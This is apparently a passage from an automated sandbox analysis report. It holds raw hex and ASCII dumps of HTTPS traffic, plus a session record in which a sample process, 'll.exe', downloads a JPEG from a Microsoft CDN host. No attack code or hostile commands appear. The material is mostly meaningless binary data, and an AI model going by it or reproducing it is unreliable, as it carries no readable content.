a2 6b 4d 03 86 c9 73 f4 69 25
Data Ascii: ILBkoWQ+/}A;.g#`4J,uu54Qd@;ZQc{i\WCF}P.BT^ */e+87k2CqGZXk=I\0O;D<m8d]*R>-npsQ<?L<,3SR2\Yc*Y5#F}kMsi%
2022-04-08 08:02:44 UTC6299INData Raw: 4f 52 af a8 43 72 a2 c8 27 7d d8 9a 9c 84 61 85 4b b2 0e 35 6c 97 9d 31 85 ae 9c da df 0f a8 56 cc b9 03 8d 92 f4 92 f7 d2 47 32 3c 8d d0 1d dc 66 aa b5 d2 74 d1 8b 74 aa b7 4a 69 d5 d5 8c 32 67 a5 52 55 7a fa a2 3e 6f 8b 9f e6 83 9d e4 8e 20 b0 de 59 a3 be df a2 5e f9 fd 33 21 40 59 29 9a d5 aa 0b 0d 3d 0b 96 59 e3 5a b7 1b 9c 47 15 0f 8f ec ef 1d 33 27 a1 b5 0a 4d 68 a6 15 8d 34 29 d3 a5 81 1a 97 48 1d 43 e6 3f c7 1c d7 ea dd fd c7 54 c9 9f 77 04 a4 46 fa fb 50 a8 d5 22 21 35 90 f0 a3 66 d4 64 e1 4d 3e 9e 78 2b 92 b1 b6 25 f6 98 db 22 a9 45 d2 c9 3d 16 c4 98 5a 32 55 4b 02 55 4b 55 c1 e4 49 3a 3c f1 d3 bf 72 d5 78 78 42 7a d8 aa de 60 be db 65 bf dc ad 4d cc c8 25 91 3a 7b 69 4d 55 ca ba 58 8e 9c 8e 74 03 23 8e ba 34 93 aa 4f d6 75 24 51 f4 af b6 c7 6c
Data Ascii: ORCr'}aK5l1VG2<fttJi2gRUz>o Y^3!@Y)=YZG3'Mh4)HC?TwFP"!5fdM>x+%"E=Z2UKUKUI:<rxxBz`eM%:{iMUXt#4Ou$Ql
2022-04-08 08:02:44 UTC6307INData Raw: 6d 60 89 3c db 34 77 91 99 a6 16 d6 d2 51 65 cb b6 da bd 2b a8 f5 16 a7 e1 04 63 6c b8 ab 6b 25 e1 76 7c b9 e9 f3 7e 9f 59 a3 41 96 86 ea f5 6d e4 b7 6d 1d a0 5a 79 1c d0 68 1d 5d 00 0f 50 6a 75 e2 ab 4a b9 4f 97 ed 80 75 ec 36 36 db 95 bc fd 1b c8 cc 7d 5a 9b 4a 96 72 4d 07 52 b6 44 05 ab 53 c7 97 4e 38 f6 ad d0 e6 3b 8b 88 24 b1 d9 5d 05 91 e3 51 18 0a 13 a4 92 55 9b 25 34 cf 3c 9b 36 aa ea a1 c7 5e 3c 6a cd ad 57 a7 a6 a5 6d 90 3d d7 6e 9f 77 8c ed d6 8e 8f 02 b9 a9 8c 68 cd 4d 48 26 b5 d4 af 40 bf c7 1a ba ac 37 f6 71 ed 2b 6a 34 2c ad 6d dd 66 b5 75 05 34 2a 3e b0 da 95 78 69 d4 b9 05 f5 1e 9e 2d 85 95 da 95 71 ac 6a 2b 52 0b 2e 64 db af d6 e2 38 a2 26 48 e0 29 08 90 95 55 a5 0e ae 81 c0 53 9e 38 b1 67 7b 7f fa 2d df 4e df 97 f6 90 d2 66 88 f6 ee ef
Data Ascii: m`<4wQe+clk%v|~YAmmZyh]PjuJOu66}ZJrMRDSN8;$]QU%4<6^<jWm=nwhMH&@7q+j4,mfu4*>xi-qj+R.d8&H)US8g{-Nf
2022-04-08 08:02:44 UTC6323INData Raw: 2c dc cf 26 e1 85 83 a6 e5 db 1c f8 0d 14 28 bd bc b4 8e 19 e0 0c 03 48 84 90 06 87 41 5c 89 cc af e6 18 d9 d5 d6 61 f6 7b 87 05 7b 65 8a cb 74 b7 3b 89 fd 47 46 48 91 48 a6 63 30 fc 97 cb 10 f2 2b 78 57 6e bc bd c6 49 ea 5d 1d 8e de 1d f6 fb a0 21 8d 34 19 ba c9 62 3d 61 61 5c c7 51 e3 8e 7b df 25 54 af 13 7f 0e 9f 0f 2f 1b 22 79 33 33 67 db 2c 9a 2b 8b b8 a6 91 e4 50 47 fd c9 1a a3 09 5d 2a 05 05 6b 96 9f 2e 78 e8 cf 9e f3 54 d2 fe 4f 9b f8 12 de ba 98 db ac 57 f7 16 5d 9b 9f d6 86 12 7b 28 8c 59 6a e2 a6 95 f4 bd 6b d5 9a 7c b8 f4 31 2a d2 db ab a3 b7 c5 6f 57 fc 7e d0 69 b4 65 5b 58 25 ec 10 c4 af 2a c5 3b 11 17 77 d2 25 a5 53 b9 98 1c b4 8e 38 eb df 16 73 1a 7c 5b 7e 9f ca 64 93 e6 74 b7 17 12 3c d1 db 47 31 9a f5 34 93 18 35 0c bf 39 cb f0 9f c3 f7
Data Ascii: ,&(HA\a{{et;GFHHc0+xWnI]!4b=aa\Q{%T/"y33g,+PG]*k.xTOW]{(Yjk|1*oW~ie[X%*;w%S8s|[~dt<G1459
2022-04-08 08:02:44 UTC6339INData Raw: fb a7 fe 46 ce 01 8e eb 22 bc 93 5a bc 65 88 08 19 d0 37 4f 35 0a 28 1a a7 ab 4f f0 c5 d6 91 09 ae 1a ff 00 11 49 75 ad f9 aa c7 2c 81 66 34 35 66 0a 17 30 49 14 fb f1 95 a9 3a a5 a0 8c ab bd cf 70 8a 64 96 7b 82 61 ab 34 85 aa ba 94 d0 03 d2 32 ad 38 51 79 6a c7 6a a5 6d 30 bc 5f 2f ac 1c 87 c3 76 2e 6d 65 7d c4 c6 f4 1d b5 21 09 55 26 94 cc 70 f0 a0 f3 c6 4d c3 8a a7 f8 84 82 fd 1a da 04 8a 04 91 46 44 3e 9a ea 7a 50 53 ab 22 de 7e 9a 65 8a dc ef ab 8f 4f 60 a2 51 a9 21 9b b3 f5 29 25 3b 79 48 68 08 91 80 05 97 c8 a9 3f 29 c6 37 ad 54 28 7a f3 fa 4a 82 ab 79 6e 6d 63 65 54 02 34 f4 6a 5a 15 15 cc 8a f1 27 95 3e 38 9b 51 59 f7 fc c4 16 43 3c 66 43 1a 69 21 7a 9c e6 74 80 47 55 46 59 7d b8 cb 63 89 19 64 4d 24 d2 2c e1 95 ea ba 42 02 41 03 8e a3 ab 99 ca
Data Ascii: F"Ze7O5(OIu,f45f0I:pd{a428Qyjjm0_/v.me}!U&pMFD>zPS"~eO`Q!)%;yHh?)7T(zJynmceT4jZ'>8QYC<fCi!ztGUFY}cdM$,BA
2022-04-08 08:02:44 UTC6347INData Raw: 14 2b 23 38 58 a8 49 d3 ea 2d 4a fa 73 1d 5f 6e 36 dd e2 7a 72 8d 7b fb 02 24 b0 dd 98 e1 27 6d 92 28 26 32 6a 12 32 9e 92 e3 a8 0f 8e 91 ea 6e 9e 38 de ae 3e 24 df 72 ee ef 21 96 5c ee b1 c1 6e 5a f8 96 20 82 ce 14 51 58 50 28 d3 c7 8f 36 e3 ab 1c f5 c7 bd ad bf fb 22 93 92 ab 4b 3e dc da 6d e4 0d 26 90 40 62 28 33 e7 cb 20 69 aa 9a 54 51 70 ef 7d 25 fd 84 a4 57 3e de d6 ac 20 8e 57 7b 60 ca d2 2b 28 ea 2b cb 50 f9 47 f0 1e 58 ba 66 95 aa 49 be c2 d4 a1 5c 15 be 3a 21 47 3a 17 4e b0 a0 24 8b e1 9f 0a 52 bc 1a 98 6e db 75 71 ff 00 20 27 6c b7 b6 36 e2 0b 59 c1 8c 82 94 53 a9 13 30 0a 82 78 9d 35 ce 87 11 93 6d 9c d9 77 fa c9 d4 16 dc a2 c5 21 28 0e b1 a4 2d 08 d4 41 e0 41 24 91 4f c3 a5 72 e5 8a b4 ca ee d4 0b 36 cb 6b 56 4e c4 b2 93 2a c8 1b 40 cd 50 11
Data Ascii: +#8XI-Js_n6zr{$'m(&2j2n8>$r!\nZ QXP(6"K>m&@b(3 iTQp}%W> W{`+(+PGXfI\:!G:N$Rnuq 'l6YS0x5mw!(-AA$Or6kVN*@P
2022-04-08 08:02:44 UTC6355INData Raw: 2d bd bb ee d1 a4 2e 91 bd c0 76 94 89 49 0e aa 1b 87 46 a5 3a bd 39 7a 7f 16 3b 6d 65 89 cc bd bf 0f 87 e1 6f f9 b5 ef 29 1b d3 db 43 b8 ce d3 7e 92 dc db e4 51 dc a2 2a 01 95 14 1d 55 ab 0f e6 a1 f8 e3 93 14 d6 b0 a6 1e b3 a4 bf 79 66 4d d4 27 6b b1 7b a2 0f 66 e5 f4 34 a0 12 a5 41 d4 0a f8 32 d3 9f 8e 3b 29 67 77 1d 9c bf 37 e2 26 69 a3 59 3d 97 f4 fb 18 81 b7 68 d7 54 7a 98 02 07 56 ae af 9b 33 cf 1c 5b b2 55 cd 9f 3e e2 24 8d ed ec 57 1d 86 82 7f d2 2a 58 ab 13 5d 39 f9 6a 54 e0 74 af 51 3e 58 aa d5 ea 9a d5 69 ed 1b b4 03 6d 9b 8c b7 b2 8b 74 d5 6c b0 b5 59 1d 7a 1c e5 a9 c9 ca ad f2 fe 51 d3 5c 76 da ef 12 5b bc 6b 97 e5 2a b9 52 e2 8d 3b eb 4b 58 61 06 ea 61 1c 0a 58 bb 50 02 01 0d a4 95 ad 23 61 ab 3a f1 c7 6d 7a 8a 5f d6 f8 23 ba b9 92 e2 61 d9
Data Ascii: -.vIF:9z;meo)C~Q*UyfM'k{f4A2;)gw7&iY=hTzV3[U>$W*X]9jTtQ>XimtlYzQ\v[k*R;KXaaXP#a:mz_#a
2022-04-08 08:02:44 UTC6371INData Raw: 4f a8 63 ab 0b d8 9e fb 7a be 6b 7f a7 4a 25 f3 7a ca 82 99 ed a5 f6 f5 e8 da bb 28 f0 48 88 b1 dc c9 ad 74 b0 a9 a8 23 a5 97 50 5c 9b ab e5 e0 5b 1a d6 eb 2d 1d be 69 e1 58 b6 9f c3 99 2e a7 4b b4 d8 cd 15 b4 10 55 64 9d a5 92 49 3b 72 00 ab 5a 51 50 e7 d2 c0 f4 9d 2d c7 36 c6 17 c6 ad 6e 51 a2 8f 9b 4e 76 e4 52 a0 a6 da 85 cc ed 70 25 2b 72 e8 74 83 a5 6b 22 1e 24 e7 55 a6 b3 a5 a8 1b d4 16 b8 c2 b9 f6 cd 5a f8 7e 93 29 e4 15 77 b6 c9 bc 89 4b 3a 19 10 13 a8 66 bd d0 28 35 28 cf 2f c3 4a 51 b5 2e 39 b1 dd d7 c5 1a 73 ed db f9 7d 3d 65 d5 40 24 d0 5a 2d b4 91 c6 24 69 27 8d d4 ba d7 52 b6 9a 05 54 60 ba 52 ba 99 4f e2 fe 5c 69 56 db 4e 16 8f 84 cc f7 f8 4a 4e 59 5e c5 b5 5d cf 63 14 57 12 2c 93 a1 05 4a ae a2 17 e6 52 a6 a4 7f fc d6 3a 5b f0 91 8d 7a 95
Data Ascii: OczkJ%z(Ht#P\[-iX.KUdI;rZQP-6nQNvRp%+rtk"$UZ~)wK:f(5(/JQ.9s}=e@$Z-$i'RT`RO\iVNJNY^]cW,JR:[z
2022-04-08 08:02:44 UTC6387INData Raw: 04 dc e9 b8 ca f3 dc ac 22 de 39 34 b4 45 a3 d6 da a4 5d 40 ad 41 fd 2d 0a 57 c6 bc 71 ec f5 19 76 f0 e5 a6 9d b6 0e 06 cd ed 9c f1 ee 32 58 3b db c6 64 43 20 90 80 12 30 f9 64 2b a8 3a d0 29 55 e7 4e 38 33 64 6d 24 9e d8 6a de ce c6 6d b9 a5 06 7b 25 9c 36 96 e9 6f 27 d4 db c1 db 8e 59 0a 50 d0 1c cc 6a a5 9b 51 23 4a b1 5f 86 12 c5 48 dd 1c 75 7e 9f b4 6a ba 6a 1c f6 b0 cf 79 1b 99 e3 8e 52 7f 4a 36 42 33 26 ac 9d 24 a9 63 f1 f9 78 69 18 c3 1e 7a dd bd 8e 38 72 34 57 19 e3 b5 b7 bf 55 8a de 29 44 b7 15 bb 75 62 a2 9e 93 a7 30 13 3e 03 2e 9d 58 f5 ad 6c 76 b6 eb fa 8d 95 93 42 dd b7 94 5b c7 92 da dd 21 b6 32 0a 88 db 55 45 6a c7 e6 20 10 7a 4e 91 e5 8f 2b af ba cb 2a ba 57 b0 e7 c9 76 53 b2 ec f0 4a b7 37 bb 4a e8 84 29 0b 0b 80 50 b1 ea 32 3b 50 1d 5a
Data Ascii: "94E]@A-Wqv2X;dC 0d+:)UN83dm$jm{%6o'YPjQ#J_Hu~jjyRJ6B3&$cxiz8r4WU)Dub0>.XlvB[!2UEj zN+*WvSJ7J)P2;PZ
2022-04-08 08:02:44 UTC6395INData Raw: c1 7f b7 b6 1d e7 6d 67 fa a9 c5 a0 9a 85 21 29 52 e0 1a eb 65 1f 28 e5 d4 9a 72 fb 79 3a 9e a3 1d d7 85 6f db c6 d3 f0 cf cb 5e ff 00 65 a4 4e 11 d9 ec 13 ee db e6 dd 71 0d b4 2f 11 8e ef 41 1e ad 07 83 e9 cc b6 86 27 86 bd 03 56 ad 54 c7 35 ba 7c 6e 21 2b 5a 13 fe 57 f0 fb 8b 71 10 59 ed bf 64 bd e6 dd 79 65 0c f2 43 b8 c1 28 7a 2b 12 1a 37 14 78 d9 94 3d 18 71 59 07 4a ab 7c b8 f5 d5 53 95 f3 6d f5 d7 dc 60 d2 06 96 e5 ee 2f ac d7 72 20 fd 3f 48 68 ce 9a a0 ad 18 90 19 98 29 d6 9d 3c 5d b5 65 8f 22 8b 62 7b 75 db cb fe 21 0b 89 9d bc 4d b5 6c 11 31 b0 9a 5b 64 53 23 3c 73 11 22 02 5b 52 46 83 d4 9a 49 cd db 53 53 f1 72 d6 3c f6 bc 3e 2e ef 4f 11 85 ab 27 3f 75 ba 6e 1e e0 9e 2b dd d4 32 08 23 22 35 8d 0b 54 0c c0 23 2d 02 95 23 ff 00 69 c6 b4 c7 4c 09
Data Ascii: mg!)Re(ry:o^eNq/A'VT5|n!+ZWqYdyeC(z+7x=qYJ|Sm`/r ?Hh)<]e"b{u!Ml1[dS#<s"[RFISSr<>.O'?un+2#"5T#-#iL
2022-04-08 08:02:44 UTC6411INData Raw: 2f 6e d6 19 23 46 12 48 a6 bd ba 96 e3 ad c9 a7 24 55 a8 c6 f8 b0 a9 75 5a c7 a7 f1 32 59 5d b4 48 c5 bc bf 6d b6 31 b9 6e 32 76 9d db 54 31 a9 14 7a 66 a8 47 3d 24 d7 f2 e3 b3 1e 3d ef 65 14 c7 c5 6f a7 b6 de d3 7c 77 9d 0d 6f 6b 7b c1 7d ca a7 69 92 de d8 f7 eb 6f 23 3a 1e ea b0 cd 1d 1a bf 37 3c 85 78 f2 c6 f9 ab fd a5 2d a4 ca 56 dd f7 fa a0 ee aa 95 04 b7 d9 a3 f6 c5 ec 5b 7f 69 67 77 41 3a cb a9 56 29 96 a1 5c 55 41 2c ca 4e 86 47 3f 1c 2a e0 b5 56 f9 f0 c6 9c f6 ee 53 ee 25 78 5f 69 87 ee d9 cd e6 f1 60 65 ed c4 8b e8 28 4d 34 a8 14 62 0e 6b 4c 2e 95 6d c7 78 9b 37 c7 db c8 76 d5 9d b4 db b5 ae db b3 49 6f 6c d1 4b b8 cf ad da 5c b2 56 35 65 71 c7 ae bd 2b cb 1c f5 4a a9 2f bb 95 62 20 2c d5 54 19 bb 2d 8e f5 6f 61 df dc 9d 9a d4 49 dd 53 5d 52 30
Data Ascii: /n#FH$UuZ2Y]Hm1n2vT1zfG=$=eo|wok{}io#:7<x-V[igwA:V)\UA,NG?*VS%x_i`e(M4bkL.mx7vIolK\V5eq+J/b ,T-oaIS]R0
2022-04-08 08:02:44 UTC6427INData Raw: bf f1 31 b5 90 24 d7 65 d8 de a9 ed 5d b9 8c 73 67 d1 21 a2 86 ce 81 7f 93 56 a5 ab 74 e5 8d 96 35 b6 1b 95 ae 9f 2c d7 8b fe 3c c9 64 36 a1 7a 60 d5 71 2c 50 42 b5 58 dc 05 1d 20 7a ca aa b1 72 f9 fa b4 f1 cb 15 92 b5 6f 4f 6a 73 fd 3e c3 35 56 b8 86 a3 dd 6e 37 e4 c6 51 ec d6 32 25 45 2a 3b 4e d9 ab b3 30 d4 1b 47 cb a8 2d 78 63 93 c3 8e 9a ca b4 f8 78 f8 d7 66 9f 98 a4 8d ab 8d ba 38 b4 f6 e5 5b 8e c4 7e 86 24 2a 93 cd 5a 9f a8 72 a1 f5 7f 1c 72 e2 b3 bc b6 b6 fb a6 cb d5 c8 da ca 0c 99 2f b6 fd c0 36 dd 0d d0 82 55 53 1c aa 18 ea 15 a9 72 8c a4 15 a6 67 46 3b fc b7 58 bc 37 31 c5 69 ff 00 a9 2c 05 f7 fb 67 8e 27 bf 33 c6 8e 19 19 b4 e8 a5 2a ab 93 69 d5 ad 74 ea 00 aa ab 7a b1 75 e9 5c f8 63 b7 ea fb bb 08 a2 97 27 43 6b bb 6d d6 51 88 6d 22 8f ea 94
Data Ascii: 1$e]sg!Vt5,<d6z`q,PBX zroOjs>5Vn7Q2%E*;N0G-xcxf8[~$*Zrr/6USrgF;X71i,g'3*itzu\c'CkmQm"
2022-04-08 08:02:44 UTC6434INData Raw: b6 b0 c5 64 00 3f 6a 26 5a d5 72 12 a9 6f 4e 9d 21 11 35 9c 9a 98 fa 6a 75 bf dc 51 2d aa b6 aa 7c 39 3b 2e 3e bd 75 36 a5 24 f4 7f 6f ed 03 6f b2 2d 6d 24 32 07 8d 44 8c a1 9f ad da b5 56 6a 2b 30 a9 d3 97 6d 5a b5 6a d3 1f 2f 9e e9 dd 2b 4e ef 97 d3 d1 97 b1 27 26 ec fa 7d b9 6b 75 7b b6 49 1c 53 a4 41 57 5e 60 b3 93 55 53 d4 81 ba cf 55 79 9c fa ab 8f 6f a4 71 76 df f2 9d 98 e3 9f b0 c1 8b 61 f7 26 ff 00 14 1b 85 e5 c5 b4 6b a4 1a 5b 28 52 aa 07 0d 2c 15 4b 54 36 b7 d7 5c 8d 0f 56 37 ea e9 5b eb 54 9f 2f 17 de 3c 89 47 03 66 da df 6b 9a d3 56 e3 66 1a 6e d9 ff 00 be c8 4a 8a e4 03 a5 bd 71 fe 5e a6 cb 1e 2b ce e9 8e 29 54 e5 f0 e5 b5 7e 53 9d 38 5c 02 26 46 99 85 a8 d7 25 b6 a2 35 33 53 b6 10 d0 46 5c 7a d9 f9 fa 8f e2 c8 d3 02 e9 69 5b 6e ae 8a dc 51
Data Ascii: d?j&ZroN!5juQ-|9;.>u6$oo-m$2DVj+0mZj/+N'&}ku{ISAW^`USUyoqva&k[(R,KT6\V7[T/<GfkVfnJq^+)T~S8\&F%53SF\zi[nQ
2022-04-08 08:02:44 UTC6450INData Raw: eb cd 4e 58 3a 9c b6 54 dc d6 bf 12 95 dc 17 53 c4 e2 f7 ed ef fa 4d eb 5d 58 29 16 69 18 8a 35 2f 4a fa 75 09 85 58 b6 ba a7 3f 8e 3c ee 9b 0b c9 4d b6 7e 27 ad b4 f5 c6 cf d3 a9 9a ec 23 ed eb bb 3d da d2 f3 51 b6 8e d5 dc c5 29 59 34 96 ea 03 f4 3b 86 af 4f 58 f4 ab 28 2b 8e cb 63 78 ec a6 74 ae ef 12 96 bd 7b 79 f6 95 5a c7 13 a4 9e e3 6f d9 a2 68 61 2c 50 88 bb b3 37 49 53 19 32 66 cd d2 a5 89 0c ca 3c b1 e5 56 f7 ba 69 73 f7 db 97 87 99 ab 75 ae 88 ab 7b be 5b ab 43 24 aa b2 4b 2a 95 82 67 e8 8b 48 53 52 cc c0 72 cf 4f a7 ef c6 38 31 aa b8 53 a3 f1 55 6b 6f 77 e2 45 9d 5b 39 6f 6d 8d aa c3 71 16 c2 56 be 79 4b a6 bb 56 a3 29 75 a8 ee ea aa 34 71 bf 9e af 97 85 31 ee e5 dd 7a 4d ab b2 16 8a dd dc 36 f3 d7 9f de 62 b1 e8 68 6e 3b f5 8e c7 6b 6b 6d 24
Data Ascii: NX:TSM]X)i5/JuX?<M~'#=Q)Y4;OX(+cxt{yZoha,P7IS2f<Visu{[C$K*gHSRrO81SUkowE[9omqVyKV)u4q1zM6bhn;kkm$
2022-04-08 08:02:44 UTC6466INData Raw: ca f6 7b 8c d1 cb 1a 99 67 1d c6 01 c1 ed fc ca 68 fc 83 31 ea d5 f8 7c 7b ef 4f ee 35 a2 75 d2 38 78 74 73 ea ee ee 39 f1 e8 cd 0d c1 67 db ec e3 8e 20 e9 6f 2a 88 a3 91 18 82 c6 43 c2 a7 82 9a b5 2a 3a 51 79 b6 58 e2 c7 65 6b 37 f3 2d 6c 9f e5 f4 f6 b3 4b 27 32 50 67 9b 61 74 92 da 16 4b a6 b5 53 24 45 b2 1d ba 90 a6 ba 46 85 46 55 5d 45 5b 87 e6 c7 45 2c db d5 f8 77 71 ed 57 f5 73 6f c4 16 70 46 c6 3b ab 9b 34 dc 6f 61 2b d2 22 8d 8b ab a2 d1 49 77 d3 e9 62 58 69 cb 8f ca b8 57 a2 4d aa 3d 26 5e 9b 6d dc 84 90 5e db 73 27 6d 5b 6f 98 4e 5e dd 9d 9e 45 03 b5 56 d2 a5 43 53 5b 30 20 ac 65 75 1e 5c b0 b2 74 ea cb 5d 1a 7a d5 3f a7 bf f1 46 f5 d3 81 bf fd 3b 6f 5b 97 b8 9e 57 84 4e 85 43 22 52 42 ec a5 14 aa 93 a5 68 c7 d5 f2 fa 72 c7 9f 81 b6 d5 2f c1 7f
Data Ascii: {gh1|{O5u8xts9g o*C*:QyXek7-lK'2PgatKS$EFFU]E[E,wqWsopF;4oa+"IwbXiWM=&^m^s'm[oN^EVCS[0 eu\t]z?F;o[WNC"RBhr/
2022-04-08 08:02:44 UTC6474INData Raw: e8 fb 34 e7 c0 e3 6a e0 ad 2d e1 6a da fa fe d2 5a 01 dc 26 8a 78 e0 86 2b a9 8c 51 00 59 e4 20 d1 5e ba 54 a9 ee 6b 00 7a 59 d8 e3 a2 95 db 66 e1 6b d8 a3 87 c5 1c 20 4d 49 9d b6 a3 5c 6e 0f 61 b8 23 5c b4 64 38 49 05 64 60 7a 7b 6a a8 0a 74 af 50 cf f3 2e 58 ea cb 5f 0c e2 f0 ce 9a 7f 56 e7 f3 6b cc c9 d5 a7 06 d4 d2 da c5 65 6e 20 8f b5 64 f3 76 aa 8a 55 57 5a ea ac 99 e4 50 73 ff 00 af 1c 0a ae d6 73 ad d2 dd c7 c4 f5 f9 4d a0 d3 b1 5b 3b 29 5a 69 26 49 e5 6a c7 18 9f 52 2b 10 57 4b 17 61 48 c4 83 e6 d3 9f cb 96 39 ae 9d d4 7c 3c ed b6 2d 1e ef 8a 01 e8 09 79 b4 ed 3e e0 73 7d 75 6f da bc 79 09 65 8e 4d 20 9f 45 5c 96 ad 01 e5 40 c7 57 9e 34 ae 6c 98 7c 35 7e 08 d2 54 fb bd 39 11 06 ac b7 51 7e 92 db 5a 49 2b aa b0 4d 4a ab 2b 20 20 1e 82 69 a7 3e 85
Data Ascii: 4j-jZ&x+QY ^TkzYfk MI\na#\d8Id`z{jtP.X_Vken dvUWZPssM[;)Zi&IjR+WKaH9|<-y>s}uoyeM E\@W4l|5~T9Q~ZI+MJ+ i>
2022-04-08 08:02:44 UTC6482INData Raw: fa 8e 93 a1 78 e8 ed 66 d4 27 6a ee 5c 35 f0 f7 77 fd ac cd ea cf 41 9b 67 b0 b5 d9 05 ae d6 f2 6a 52 c6 39 59 63 26 2d 54 d5 db 8d 81 d3 1f 10 da eb 23 71 d7 cb 1e 27 f7 2f cd 9b 6b a7 8b 8a df fa bf 37 66 df 71 d1 66 a2 11 85 69 b5 c5 7f 60 91 27 79 12 8f 27 75 9b 43 3c 84 0a 19 42 d5 8a b0 ce 9c 07 f2 e3 af 27 50 e8 f5 55 e3 1a 29 8a f6 57 d4 43 7e 18 0a 96 c2 cf 74 da 63 db ae 63 8a 28 11 4c 52 49 23 d6 43 2d 2a 16 2f c3 4a 6a d5 c7 ca 99 e2 6b 9a d8 ec ed 5d 5b 7b b4 5f 2f e6 fb a0 17 08 60 1b 2c ab 65 59 4c d2 db 3c 50 c7 00 99 63 59 64 12 15 09 58 50 57 4a b2 50 9a b1 f1 7c 56 7a bb f8 52 57 dc dd f6 ce da ed f8 bc 76 ee b7 77 a8 1b 97 dc 6c ed de e7 b4 bc b8 8a f6 c0 ce 64 1e 94 2b a6 24 41 5f 52 81 d2 e7 4f 15 aa 6a 2b 5c 2a 52 fd 3d b9 6d af 7c
Data Ascii: xf'j\5wAgjR9Yc&-T#q'/k7fqfi`'y'uC<B'PU)WC~tcc(LRI#C-*/Jjk][{_/`,eYL<PcYdXPWJP|VzRWvwld+$A_ROj+\*R=m|


Session IDSource IPSource PortDestination IPDestination PortProcess
17192.168.2.34999223.10.249.43443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:42 UTC83OUTGET /cms/api/am/imageFileData/RWNck1?ver=d266 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
2022-04-08 08:02:42 UTC115INHTTP/1.1 200 OK
Last-Modified: Mon, 04 Apr 2022 07:42:26 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: 91a5ddd4-6211-4db6-b10c-2878ecdb9ba1
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWNck1?ver=d266
X-Source-Length: 1819181
Content-Length: 1819181
Cache-Control: public, max-age=85099
Expires: Sat, 09 Apr 2022 07:41:01 GMT
Date: Fri, 08 Apr 2022 08:02:42 GMT
Connection: close
2022-04-08 08:02:42 UTC116INData Raw: ff d8 ff e1 17 e7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 30 38 3a 30 35 20 31 33 3a 35 37 3a 33 39 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:08:05 13:57:398"
2022-04-08 08:02:42 UTC149INData Raw: ee 6b 5e 7d 4a 60 82 f6 ce ed df a3 ff 00 8c fe 6f fe dc 56 7e b3 7d 3f cd e4 ff 00 5b e8 b5 0f ea 9f f4 5e a7 cf f3 16 fd 2f e8 bf 45 ff 00 d3 3f d7 fd 32 92 1f 21 bf 97 fa 8a 35 62 bf 17 5a f7 74 af ad 98 95 3f 0e fa db d5 31 db ee aa c8 6b dd 03 df 55 ac ff 00 0b 56 ff 00 ec 2c 1c 5e a1 9d d3 f7 e3 ba 97 52 5c ff 00 77 4f c9 d0 7b 4e df d1 ba 3f 3d bf e8 97 25 93 fc ff 00 e6 fd 31 fc d7 3f f5 8f fd 14 bb 43 ff 00 24 37 fa 5f d0 1f f2 e7 1f f5 af fd 16 8e 5e 1f 57 15 1d b8 f8 b4 1b 7a bf f4 3f fd 88 88 de 95 b7 e8 b8 dd 4d 98 19 65 8e 3b f0 8b 09 70 a6 c0 1f 4b 4f cb 6f b7 fb 6a bb 03 f1 6c 2f 65 9f 66 b2 0e eb e8 7c 31 c2 7e 81 8f 77 e7 7d 07 28 dd fd 1a cf e7 bf f4 27 e9 7d 2e df c8 fd c5 9f d6 bf 9a 67 3c ff 00 83 fa 3c 3b fd 6d 47 1f ca 2b 8b db e9
Data Ascii: k^}J`oV~}?[^/E?2!5bZt?1kUV,^R\wO{N?=%1?C$7_^Wz?Me;pKOojl/ef|1~w}('}.g<<;mG+
2022-04-08 08:02:42 UTC165INData Raw: 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 30 36 37 35 33 35 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 36 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 34 32 37 35 32 38 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 38 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72
Data Ascii: \Edge\_Crops\Edge-Lifestyle_GettyImages-490675353_1920x1080.jpg saved&#xA;2016-07-26T10:56:50-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-184275286_1920x1080.jpg saved&#xA;2016-07-26T10:58:12-07:00&#x9;File C:\User
